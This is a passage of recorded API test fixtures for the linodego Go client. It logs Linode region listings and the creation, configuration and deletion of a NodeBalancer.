103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640290}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767868, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-44-13.ip.linodeusercontent.com", "ipv4": "172.105.44.13", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767868/configs method: POST response: body: '{"id": 1266906, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767868, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767868/configs/1266906 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767868 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml000066400000000000000000000726141474652371000325640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640290}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767872, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-99.ip.linodeusercontent.com", "ipv4": "172.232.86.99", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter 